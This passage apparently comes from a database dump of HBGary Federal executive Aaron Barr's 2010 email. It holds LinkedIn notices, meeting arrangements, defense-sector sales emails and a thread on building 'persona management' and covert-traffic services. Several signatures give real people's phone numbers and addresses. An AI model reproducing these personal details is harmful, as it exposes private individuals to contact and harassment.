<updates@linkedin.com>','/aaron@hbgary.com/new/1297006299.M554678P14101Q2937.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Network Updates, 6/30/2010','\r\n\r\n  \r\n\r\n  \r\n    \r\n      \r\n        \r\n          LinkedIn\r\n    \r\n      Network Updates, Jun 23 - Jun 30\r\n    \r\n          \r\n          \r\n        \r\n      \r\n    \r\n\r\n\r\n\r\n\r\n  \r\n    \r\n        PROFILE\r\n  \r\n    \r\n    \r\n      View all Network Updates\r\n    \r\n\r\n\r\n  \r\n  \r\n            \r\n\r\n\r\n                                                 \r\n\r\n\r\n\r\nNancy Cimino has added a Twitter account: nancymkt\r\n\r\n             \r\n            \r\n\r\n\r\n\r\n      Dennis Mccallam\r\n                    has an updated current title: Director of IS Cybersecurity and Principal Architect, Security at Northrop Grumman\r\n                  Send note &#187;\r\n            \r\n            \r\n            \r\n\r\n\r\n\r\n      Dino Dai Zovi\r\n                    has an updated current title: Independent Security Researcher at Trail of Bits\r\n                  Send note &#187;\r\n            \r\n            \r\n  \r\n  \r\n\r\n\r\n\r\n\r\n  \r\n    \r\n        CONNECTIONS\r\n  \r\n    \r\n\r\n\r\n  \r\n  \r\n            \r\n\r\n  Irby Thompson\r\n    is now connected to\r\n        Spencer Moore\r\n            \r\n            \r\n\r\n  Sid Fuchs\r\nis now connected to\r\n            Sharon Morgan\r\n             and \r\n            Kim Finger\r\n             \r\n            \r\n            \r\n\r\n  Dr. Paul Nemirovsky\r\nis now connected to\r\n            Joe Zell\r\n             and \r\n            Donald Parker\r\n             \r\n            \r\n  \r\n  \r\n\r\n\r\n\r\n\r\n  \r\n    \r\n        POSTS\r\n  \r\n    \r\n\r\n\r\n  \r\n  \r\n            \r\n\r\n\r\n\r\n\r\n\r\n\r\nMichael Toth\r\nCompleted spectral imaging of Livingstone Journals and Letters today. Now to reimage some pages after data verification by image scientists.      \r\n      Comment \r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n             \r\n            \r\n\r\n\r\n\r\n\r\n\r\n\r\nMichael Toth\r\nGot a bonus today: Imaged a parchment Gaelic manuscript from 1467. Found some hidden text, mainly names (like Lord of Rings: ____son of...)      \r\n      Comment \r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n             \r\n            \r\n\r\n\r\n\r\n\r\n\r\n\r\nMichael Toth\r\nIf anyone is looking for our camera engineer (like @fenenz), he\'s locked in a dark subbasement room in Edinburgh.  We\'ll let him out later.      \r\n      Comment \r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n             \r\n  \r\n  \r\n\r\n\r\n\r\n\r\n  \r\n    \r\n        GROUPS\r\n  \r\n    \r\n\r\n\r\n  \r\n  \r\n            \r\n\r\n    JD Kathuria has joined\r\n    Think And Grow Rich Fans\r\n            \r\n            \r\n\r\n    Katherine Green has joined\r\n    Military Transitions\r\n            \r\n            \r\n\r\n    Mary Sullivan has joined\r\n    The Data Breach Prevention Network\r\n            \r\n  \r\n  \r\n\r\n\r\n\r\n\r\n  \r\n    \r\n        RECOMMENDATIONS\r\n  \r\n    \r\n\r\n\r\n  \r\n  \r\n            \r\n\r\n\r\n    Pulkit Kapila recommends\r\ncolleague      Aaron Barr\r\n          Program Manager at Northrop Grumman Information Technology\r\n        Aaron has a high level of integrity, is very personable with customers and clients alike, and works ...\r\n        Read more\r\n\r\n            \r\n            \r\n\r\n\r\n      David Etue was recommended by\r\ncolleague      Paul D.\r\n        David is exceptionally bright and well connected. His volunteer work for CSFI is unselfish and truly...\r\n        Read more\r\n\r\n            \r\n            \r\n\r\n\r\n    David Etue recommends\r\ncolleague      Paul D.\r\n          Founder at CWFI/CSFI-CWD (Cyber Warfare Division)\r\n        Paul has done a great job creating and growing CSFI into the successful entity that it is today.  Wi...\r\n        Read more\r\n\r\n            \r\n  \r\n  \r\n    \r\n    \r\n      &nbsp;&nbsp;&nbsp;View all Network Updates&nbsp;&nbsp;&nbsp;\r\n    \r\n  \r\n\r\nDon\'t want to receive email notifications? Adjust your message settings. LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.\r\n&copy; 2010, LinkedIn Corporation\r\n  \r\n',9623,'aaron_hbgary_com/9623.html'),(8083,'2010-06-29','\"Scott Sage\" <scott.sage@ngc.com>','/aaron@hbgary.com/new/1297006299.M904386P14101Q2938.eml','\"Aaron Barr\" <aaron@hbgary.com>','update','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nScott Sage has sent you a message.\r\n\r\n\r\n  Date:\r\n  6/29/2010\r\n\r\n\r\n  Subject:\r\n  update\r\n\r\n\r\n\r\n  Aaron,\r\n\r\n\r\n\r\nI hear from many that things are going well for you. I have recommended that we get more involved with HB after meeting with Ted in a Csprings coffee shop a couple of months back. Let me know when you are in town next and we can share a couple of updates of mutual interest - lots of changes happening of late, including my new title of Program Manager, Cross-functional Strategic Planning. Chris V. is in the process of taking the Cyber MAA reigns this week in Aurora.\r\n\r\n\r\n\r\nTake care,\r\n\r\n\r\n\r\nScott -\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',4562,'aaron_hbgary_com/4562.html'),(8084,'2010-06-29','\"Pulkit Kapila\" <pulkitkapila@yahoo.com>','/aaron@hbgary.com/new/1297006300.M146981P14101Q2939.eml','\"Aaron Barr\" <aaron@hbgary.com>','Pulkit Kapila has recommended you on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn Recommendations\r\n\r\n            \r\n            Pulkit Kapila has endorsed your work as Program Manager at Northrop Grumman Information Technology.\r\n\r\n\r\n  \r\n  \r\n     Dear Aaron,\r\nI\'ve written this recommendation of your work to share with other LinkedIn users.\r\n\r\nDetails of the Recommendation:  \"Aaron has a high level of integrity, is very personable with customers and clients alike, and works hard to self-assign and tackle individual and team goals.\"\r\n  \r\n  \r\n\r\n                        \r\n\r\n                \r\n                \r\n                \r\n                  This recommendation is not yet displayed on your profile.\r\n                  Display Pulkit Kapila\'s recommendation\r\n                \r\n                \r\n  \r\n  This email was sent to you by Pulkit Kapila (pulkitkapila@yahoo.com) through LinkedIn because Pulkit Kapila entered your email address. If you have any questions, please contact customer_service@linkedin.com.\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',16113,'aaron_hbgary_com/16113.html'),(8085,'2010-07-01','\"Merritt, David CTR OSD CIO\" <David.Merritt.ctr@osd.mil>','/aaron@hbgary.com/new/1297006300.M421045P14101Q2940.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: hbgary','Aaron,\r\n\r\nI\'m so sorry...i got tied up in a SCIF for late meetings...\r\n\r\nI\'m headed out Friday and will be back Tuesday evening of next week...\r\n\r\nCan we reschedule for next Wednesday evening?\r\n\r\nDave\r\n-----------------------------------\r\nDavid D. Merritt, CISSP, CISM, ITIL\r\nOSD CIO IA\r\n703-697-2051 :desk\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, June 30, 2010 7:26 PM\r\nTo: Merritt, David CTR OSD CIO\r\nSubject: Re: hbgary\r\n\r\nHi Dave,\r\n\r\nJust making sure we are still on.\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\nOn Jun 28, 2010, at 10:11 AM, \"Merritt, David CTR OSD CIO\"\r\n wrote:\r\n\r\n> How about the American Tap Room (across the street from Google)... say\r\n> 7-7:15 hrs...\r\n>\r\n> Dave\r\n> -----------------------------------\r\n> David D. Merritt, CISSP, CISM, ITIL\r\n> OSD CIO IA\r\n> 703-697-2051 :desk\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, June 28, 2010 9:05 AM\r\n> To: Merritt, David CTR OSD CIO\r\n> Subject: Re: hbgary\r\n>\r\n> Sure sounds good.  A particular place you like?\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n> On Jun 28, 2010, at 8:51 AM, \"Merritt, David CTR OSD CIO\"\r\n>  wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>> Can you do wednesday evening in reston town center?\r\n>>\r\n>> Wife and kids have the suv headed to NC tuesday evening.\r\n>>\r\n>> Dave\r\n>>\r\n>> --------------------------\r\n>> David D. Merritt, CISSP, CISM, ITIL\r\n>> Office of the Secretary of Defense\r\n>> 703.699.3568\r\n>>\r\n>>\r\n>> ----- Original Message -----\r\n>> From: Aaron Barr \r\n>> To: Merritt, David CTR OSD CIO\r\n>> Sent: Wed Jun 23 18:45:47 2010\r\n>> Subject: Re: hbgary\r\n>>\r\n>> Ok.  I have a late dinner scheduled.  How about monday or Tuesday?\r\n>>\r\n>> Aaron\r\n>>\r\n>> Sent from my iPad\r\n>>\r\n>> On Jun 23, 2010, at 8:48 AM, \"Merritt, David CTR OSD CIO\"\r\n>>  wrote:\r\n>>\r\n>>> It would be somewhere around 7...\r\n>>>\r\n>>> Dave\r\n>>> -----------------------------------\r\n>>> David D. Merritt, CISSP, CISM, ITIL\r\n>>> OSD CIO IA\r\n>>> 703-697-2051 :desk\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Tuesday, June 22, 2010 9:30 PM\r\n>>> To: Merritt, David CTR OSD CIO\r\n>>> Subject: Re: hbgary\r\n>>>\r\n>>> Dave,\r\n>>>\r\n>>> I forgot to send you Greg\'s presentation.\r\n>>>\r\n>>> Do you have time to grab a drink after work on Friday?\r\n>>>\r\n>>> Aaron\r\n>>>\r\n',3930,'aaron_hbgary_com/3930.html'),(8086,'2010-07-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006300.M674119P14101Q2941.eml','\"Merritt, David CTR OSD CIO\" <David.Merritt.ctr@osd.mil>','Re: hbgary','Sure same place and time?  They had magic hat #9 on tap so not a total loss. :)\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\nOn Jul 1, 2010, at 7:53 AM, \"Merritt, David CTR OSD CIO\"\r\n wrote:\r\n\r\n> Aaron,\r\n>\r\n> I\'m so sorry...i got tied up in a SCIF for late meetings...\r\n>\r\n> I\'m headed out Friday and will be back Tuesday evening of next week...\r\n>\r\n> Can we reschedule for next Wednesday evening?\r\n>\r\n> Dave\r\n> -----------------------------------\r\n> David D. Merritt, CISSP, CISM, ITIL\r\n> OSD CIO IA\r\n> 703-697-2051 :desk\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, June 30, 2010 7:26 PM\r\n> To: Merritt, David CTR OSD CIO\r\n> Subject: Re: hbgary\r\n>\r\n> Hi Dave,\r\n>\r\n> Just making sure we are still on.\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n> On Jun 28, 2010, at 10:11 AM, \"Merritt, David CTR OSD CIO\"\r\n>  wrote:\r\n>\r\n>> How about the American Tap Room (across the street from Google)... say\r\n>> 7-7:15 hrs...\r\n>>\r\n>> Dave\r\n>> -----------------------------------\r\n>> David D. Merritt, CISSP, CISM, ITIL\r\n>> OSD CIO IA\r\n>> 703-697-2051 :desk\r\n>>\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Monday, June 28, 2010 9:05 AM\r\n>> To: Merritt, David CTR OSD CIO\r\n>> Subject: Re: hbgary\r\n>>\r\n>> Sure sounds good.  A particular place you like?\r\n>>\r\n>> Aaron\r\n>>\r\n>> From my iPhone\r\n>>\r\n>> On Jun 28, 2010, at 8:51 AM, \"Merritt, David CTR OSD CIO\"\r\n>>  wrote:\r\n>>\r\n>>> Aaron,\r\n>>>\r\n>>> Can you do wednesday evening in reston town center?\r\n>>>\r\n>>> Wife and kids have the suv headed to NC tuesday evening.\r\n>>>\r\n>>> Dave\r\n>>>\r\n>>> --------------------------\r\n>>> David D. Merritt, CISSP, CISM, ITIL\r\n>>> Office of the Secretary of Defense\r\n>>> 703.699.3568\r\n>>>\r\n>>>\r\n>>> ----- Original Message -----\r\n>>> From: Aaron Barr \r\n>>> To: Merritt, David CTR OSD CIO\r\n>>> Sent: Wed Jun 23 18:45:47 2010\r\n>>> Subject: Re: hbgary\r\n>>>\r\n>>> Ok.  I have a late dinner scheduled.  How about monday or Tuesday?\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>> Sent from my iPad\r\n>>>\r\n>>> On Jun 23, 2010, at 8:48 AM, \"Merritt, David CTR OSD CIO\"\r\n>>>  wrote:\r\n>>>\r\n>>>> It would be somewhere around 7...\r\n>>>>\r\n>>>> Dave\r\n>>>> -----------------------------------\r\n>>>> David D. Merritt, CISSP, CISM, ITIL\r\n>>>> OSD CIO IA\r\n>>>> 703-697-2051 :desk\r\n>>>>\r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>> Sent: Tuesday, June 22, 2010 9:30 PM\r\n>>>> To: Merritt, David CTR OSD CIO\r\n>>>> Subject: Re: hbgary\r\n>>>>\r\n>>>> Dave,\r\n>>>>\r\n>>>> I forgot to send you Greg\'s presentation.\r\n>>>>\r\n>>>> Do you have time to grab a drink after work on Friday?\r\n>>>>\r\n>>>> Aaron\r\n>>>>\r\n',5859,'aaron_hbgary_com/5859.html'),(8087,'2010-07-01','\"Merritt, David CTR OSD CIO\" <David.Merritt.ctr@osd.mil>','/aaron@hbgary.com/new/1297006300.M893527P14101Q2942.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: hbgary','Sounds good...i\'ll buy the first round...\r\n\r\nDave\r\n-----------------------------------\r\nDavid D. Merritt, CISSP, CISM, ITIL\r\nOSD CIO IA\r\n703-697-2051 :desk\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, July 01, 2010 8:04 AM\r\nTo: Merritt, David CTR OSD CIO\r\nSubject: Re: hbgary\r\n\r\nSure same place and time?  They had magic hat #9 on tap so not a total loss.\r\n:)\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\nOn Jul 1, 2010, at 7:53 AM, \"Merritt, David CTR OSD CIO\"\r\n wrote:\r\n\r\n> Aaron,\r\n>\r\n> I\'m so sorry...i got tied up in a SCIF for late meetings...\r\n>\r\n> I\'m headed out Friday and will be back Tuesday evening of next week...\r\n>\r\n> Can we reschedule for next Wednesday evening?\r\n>\r\n> Dave\r\n> -----------------------------------\r\n> David D. Merritt, CISSP, CISM, ITIL\r\n> OSD CIO IA\r\n> 703-697-2051 :desk\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, June 30, 2010 7:26 PM\r\n> To: Merritt, David CTR OSD CIO\r\n> Subject: Re: hbgary\r\n>\r\n> Hi Dave,\r\n>\r\n> Just making sure we are still on.\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n> On Jun 28, 2010, at 10:11 AM, \"Merritt, David CTR OSD CIO\"\r\n>  wrote:\r\n>\r\n>> How about the American Tap Room (across the street from Google)... say\r\n>> 7-7:15 hrs...\r\n>>\r\n>> Dave\r\n>> -----------------------------------\r\n>> David D. Merritt, CISSP, CISM, ITIL\r\n>> OSD CIO IA\r\n>> 703-697-2051 :desk\r\n>>\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Monday, June 28, 2010 9:05 AM\r\n>> To: Merritt, David CTR OSD CIO\r\n>> Subject: Re: hbgary\r\n>>\r\n>> Sure sounds good.  A particular place you like?\r\n>>\r\n>> Aaron\r\n>>\r\n>> From my iPhone\r\n>>\r\n>> On Jun 28, 2010, at 8:51 AM, \"Merritt, David CTR OSD CIO\"\r\n>>  wrote:\r\n>>\r\n>>> Aaron,\r\n>>>\r\n>>> Can you do wednesday evening in reston town center?\r\n>>>\r\n>>> Wife and kids have the suv headed to NC tuesday evening.\r\n>>>\r\n>>> Dave\r\n>>>\r\n>>> --------------------------\r\n>>> David D. Merritt, CISSP, CISM, ITIL\r\n>>> Office of the Secretary of Defense\r\n>>> 703.699.3568\r\n>>>\r\n>>>\r\n>>> ----- Original Message -----\r\n>>> From: Aaron Barr \r\n>>> To: Merritt, David CTR OSD CIO\r\n>>> Sent: Wed Jun 23 18:45:47 2010\r\n>>> Subject: Re: hbgary\r\n>>>\r\n>>> Ok.  I have a late dinner scheduled.  How about monday or Tuesday?\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>> Sent from my iPad\r\n>>>\r\n>>> On Jun 23, 2010, at 8:48 AM, \"Merritt, David CTR OSD CIO\"\r\n>>>  wrote:\r\n>>>\r\n>>>> It would be somewhere around 7...\r\n>>>>\r\n>>>> Dave\r\n>>>> -----------------------------------\r\n>>>> David D. Merritt, CISSP, CISM, ITIL\r\n>>>> OSD CIO IA\r\n>>>> 703-697-2051 :desk\r\n>>>>\r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>> Sent: Tuesday, June 22, 2010 9:30 PM\r\n>>>> To: Merritt, David CTR OSD CIO\r\n>>>> Subject: Re: hbgary\r\n>>>>\r\n>>>> Dave,\r\n>>>>\r\n>>>> I forgot to send you Greg\'s presentation.\r\n>>>>\r\n>>>> Do you have time to grab a drink after work on Friday?\r\n>>>>\r\n>>>> Aaron\r\n>>>>\r\n',7389,'aaron_hbgary_com/7389.html'),(8088,'2010-07-01','\"Godwin, Gib (IS)\" <James.Godwin@ngc.com>','/aaron@hbgary.com/new/1297006301.M122401P14101Q2943.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Shows, Bob (IS)\" <rj.shows@ngc.com>','RE: Update','When are you going to give that social media session so I can get a look at\r\nwhat you say.\r\nGib\r\n\r\nJB Godwin III\r\nNorthrop Grumman, Information Systems\r\nDefense Systems Division\r\nVice President, Cybersecurity and Systems Integration\r\n2340 Dulles Corner Blvd\r\nHerndon, VA 20171\r\n \r\n(o) 703.561.4610\r\n(m)703.201.2543\r\njames.godwin@ngc.com\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, June 30, 2010 11:01 AM\r\nTo: Shows, Bob (IS)\r\nCc: Godwin, Gib (IS)\r\nSubject: Update\r\n\r\nHi Bob,\r\n\r\nChecking in to see how things are going and give you an update on our\r\ncapabilities.  See attached datasheet on our general information security\r\nservices offerings.\r\n\r\nWhere I have been focused recently is on social media.  With the recent DoD\r\ndirective that open .mil to social media access there seems to be a lot of\r\nanxiety, and there should be.  I gave a presentation a few weeks ago at the\r\nNSA REBL conference on Social Media, Exploitation and Persistent Internet\r\nOperations.  I was flooded with questions and was told it was one of the\r\nhighlights of the conference by the conference coordinator.\r\n\r\nWe are in the process of developing a 1 day Social Media training course to\r\nfamiliarize organizations with the social media landscape, uses, risks, use\r\ncases, and information monitoring techniques.  We are also talking with a\r\nfew red teams on helping them develop social media capabilities in their Red\r\nTeam engagements.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',15666,'aaron_hbgary_com/15666.html'),(8089,'2010-07-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006301.M353197P14101Q2944.eml','\"Godwin, Gib (IS)\" <James.Godwin@ngc.com>,\"Godwin, Gib (IS)\" <James.Godwin@ngc.com>','Re: Update','Gib,\r\n\r\nThe training course won\'t be fully done for a few weeks.  So depends\r\non what you want.  If you want to attend the course I would say we are\r\nat least a month off (filling seats, etc.) and I can let you know when\r\nthe first course will be.\r\n\r\nIf you want to have a discussion about the material, our approach,\r\npotential for wrapping it inside of a larger offering you might have.\r\nWe could do that as soon as next week if you want.  I can give you a\r\nreal good feel for what will be in the course.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jul 1, 2010, at 8:11 AM, \"Godwin, Gib (IS)\"  wrote:\r\n\r\n> When are you going to give that social media session so I can get a look at\r\n> what you say.\r\n> Gib\r\n>\r\n> JB Godwin III\r\n> Northrop Grumman, Information Systems\r\n> Defense Systems Division\r\n> Vice President, Cybersecurity and Systems Integration\r\n> 2340 Dulles Corner Blvd\r\n> Herndon, VA 20171\r\n>\r\n> (o) 703.561.4610\r\n> (m)703.201.2543\r\n> james.godwin@ngc.com\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, June 30, 2010 11:01 AM\r\n> To: Shows, Bob (IS)\r\n> Cc: Godwin, Gib (IS)\r\n> Subject: Update\r\n>\r\n> Hi Bob,\r\n>\r\n> Checking in to see how things are going and give you an update on our\r\n> capabilities.  See attached datasheet on our general information security\r\n> services offerings.\r\n>\r\n> Where I have been focused recently is on social media.  With the recent DoD\r\n> directive that open .mil to social media access there seems to be a lot of\r\n> anxiety, and there should be.  I gave a presentation a few weeks ago at the\r\n> NSA REBL conference on Social Media, Exploitation and Persistent Internet\r\n> Operations.  I was flooded with questions and was told it was one of the\r\n> highlights of the conference by the conference coordinator.\r\n>\r\n> We are in the process of developing a 1 day Social Media training course to\r\n> familiarize organizations with the social media landscape, uses, risks, use\r\n> cases, and information monitoring techniques.  We are also talking with a\r\n> few red teams on helping them develop social media capabilities in their Red\r\n> Team engagements.\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',4360,'aaron_hbgary_com/4360.html'),(8090,'2010-07-01','richard.ricart@accenture.com','/aaron@hbgary.com/new/1297006301.M587258P14101Q2945.eml','penny@hbgary.com,penny@hbgary.com','RE: Slides','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDo you have time to talk this\r\nmorning?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nRick Ricart\r\n\r\nAccenture\r\n\r\nChief Engineer, Defense\r\n\r\n3505 Lake Lynda Drive, Suite 115\r\n\r\nOrlando, FL&nbsp; 32817\r\n\r\nCell: 321-544-4000\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Wednesday, June 30, 2010 7:06 PM\r\nTo: Ricart, Richard\r\nCc: \'Aaron Barr\'\r\nSubject: RE: Slides\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nDo you just want slides on DDNA\r\nor how it integrates?&nbsp; I have TONS of slides on how DDNA works.&nbsp; I\r\nalso got comments back from Aaron Barr (he was cybersecurity director for TASC\r\nhe works for us now)&nbsp; He saw some areas that you could beef up.&nbsp; Do\r\nyou want to talk to him?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nrichard.ricart@accenture.com [mailto:richard.ricart@accenture.com] \r\nSent: Wednesday, June 30, 2010 1:58 PM\r\nTo: penny@hbgary.com\r\nSubject: Slides\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny,\r\n\r\n&nbsp;\r\n\r\nSorry I missed the call today.&nbsp; If you have some slides\r\nmade up please send them to me.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nRick Ricart\r\n\r\nAccenture\r\n\r\nChief Engineer, Defense\r\n\r\n3505\r\nLake Lynda Drive, Suite 115\r\n\r\nOrlando,\r\nFL&nbsp; 32817\r\n\r\nCell: 321-544-4000\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThis message\r\nis for the designated recipient only and may contain privileged, proprietary,\r\nor otherwise private information. If you have received it in error, please\r\nnotify the sender immediately and delete the original. Any other use of the\r\nemail by you is prohibited.\r\n\r\n\r\n\r\n\r\n\r\nThis message is for the designated recipient only and may contain privileged, proprietary, or otherwise private information. If you have received it in error, please notify the sender immediately and delete the original. Any other use of the email by you is prohibited.\r\n\r\n\r\n',5071,'aaron_hbgary_com/5071.html'),(8091,'2010-07-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006301.M821360P14101Q2946.eml','richard.ricart@accenture.com,richard.ricart@accenture.com','Re: Slides','Sure.  I am working on some new material all morning so let me know when is a good time.  I am in EST.AaronFrom my iPhoneOn Jul 1, 2010, at 8:51 AM, &quot;richard.ricart@accenture.com&quot; &lt;richard.ricart@accenture.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nDo you have time to talk this\r\nmorning?\r\n\r\n \r\n\r\n\r\n\r\nRick Ricart\r\n\r\nAccenture\r\n\r\nChief Engineer, Defense\r\n\r\n3505 Lake Lynda Drive, Suite 115\r\n\r\nOrlando, FL  32817\r\n\r\nCell: 321-544-4000\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Wednesday, June 30, 2010 7:06 PM\r\nTo: Ricart, Richard\r\nCc: &#39;Aaron Barr&#39;\r\nSubject: RE: Slides\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nDo you just want slides on DDNA\r\nor how it integrates?  I have TONS of slides on how DDNA works.  I\r\nalso got comments back from Aaron Barr (he was cybersecurity director for TASC\r\nhe works for us now)  He saw some areas that you could beef up.  Do\r\nyou want to talk to him?\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nrichard.ricart@accenture.com [mailto:richard.ricart@accenture.com] \r\nSent: Wednesday, June 30, 2010 1:58 PM\r\nTo: penny@hbgary.com\r\nSubject: Slides\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nPenny,\r\n\r\n \r\n\r\nSorry I missed the call today.  If you have some slides\r\nmade up please send them to me.\r\n\r\n \r\n\r\n \r\n\r\nRick Ricart\r\n\r\nAccenture\r\n\r\nChief Engineer, Defense\r\n\r\n3505\r\nLake Lynda Drive, Suite 115\r\n\r\nOrlando,\r\nFL  32817\r\n\r\nCell: 321-544-4000\r\n\r\n \r\n\r\n\r\n\r\nThis message\r\nis for the designated recipient only and may contain privileged, proprietary,\r\nor otherwise private information. If you have received it in error, please\r\nnotify the sender immediately and delete the original. Any other use of the\r\nemail by you is prohibited.\r\n\r\n\r\n\r\n\r\n\r\nThis message is for the designated recipient only and may contain privileged, proprietary, or otherwise private information. If you have received it in error, please notify the sender immediately and delete the original. Any other use of the email by you is prohibited.\r\n\r\n\r\n\r\n\r\n',13670,'aaron_hbgary_com/13670.html'),(8092,'2010-07-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006302.M347251P14101Q2948.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','Re: this guy\'s program is blown?','No I don\'t think we can. &nbsp;We are specialists in anonymity and persona management. &nbsp;We can define the specific traits/backstopping for successful OPS. &nbsp;Anonymizer is in one of the best positions because they have a pool of publicly washed IPs that they can hide traffic in. &nbsp;Any organization wanting to compete with Anonymizer in this space needs to have some type of architecture for persistent covert traffic. &nbsp;Now there may be a solution that we can develop with Akamai, Blizzard, or some other company that has a very large global presence that we can develop COVCOM solutions in.Anonymizers solutions are somewhat elegant for doing persona management. &nbsp;A few years ago I sat down with Lance, old CEO of Anonymizer and the main architect, and we spent half a day talking about the architecture. &nbsp;But I am not sure how healthy his pool of public IPs are given their rather public disclosure of their work with government.The cost would vary widely depending on the architecture but I don\'t think any solution would be cheap. &nbsp;Depends on the partner. &nbsp;We have the know how certainly just not the resources.AaronOn Jun 30, 2010, at 12:51 PM, Greg Hoglund wrote:&nbsp;\r\nI met with a guy, the CEO of C5i, for dinner when I was in D.C. last.&nbsp; He told me he wants to take Anonymizers business away and compete with them.&nbsp; On a flip side, do you think HBGary Federal could compete in that space?&nbsp; How costly or painful is it to set something up?\r\n\r\n&nbsp;\r\n-G\r\nOn Wed, Jun 30, 2010 at 7:14 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nyeah I have some history here. \r\n\r\nThis RFI is written for Anonymizer. &nbsp;They have a set of non-public capabilities they try and pitch to the intel community. &nbsp;Some of them are pretty good. &nbsp;My biggest concern with Anonymizer is I am concerned since they were purchased by Abraxis, a known intelligence contractor, that their general user pool has significantly diminished. &nbsp;I tried to get the figures from them but they wouldn\'t discuss. &nbsp;If their user pool is shrinking then some of their technology could be a vulnerability.\r\n\r\n\r\nBut they have existing persona management software and the RFI references Anonymizer multiple times. &nbsp;I need to get in front of the AFISR folks when I go down to GFIRST. &nbsp;We will send him our whitepaper and try to set up a meeting.\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 30, 2010, at 2:36 AM, Greg Hoglund wrote:\r\n\r\n&nbsp;\r\nThis guy:\r\n&nbsp;\r\nrussell.beasley-02@macdill.af.mil\r\n&nbsp;\r\nHis digital-cover ops / program is posted all over the \'net as of like&nbsp;15 days ago.&nbsp; Not sure wtf that is about.&nbsp; Here are the links I have 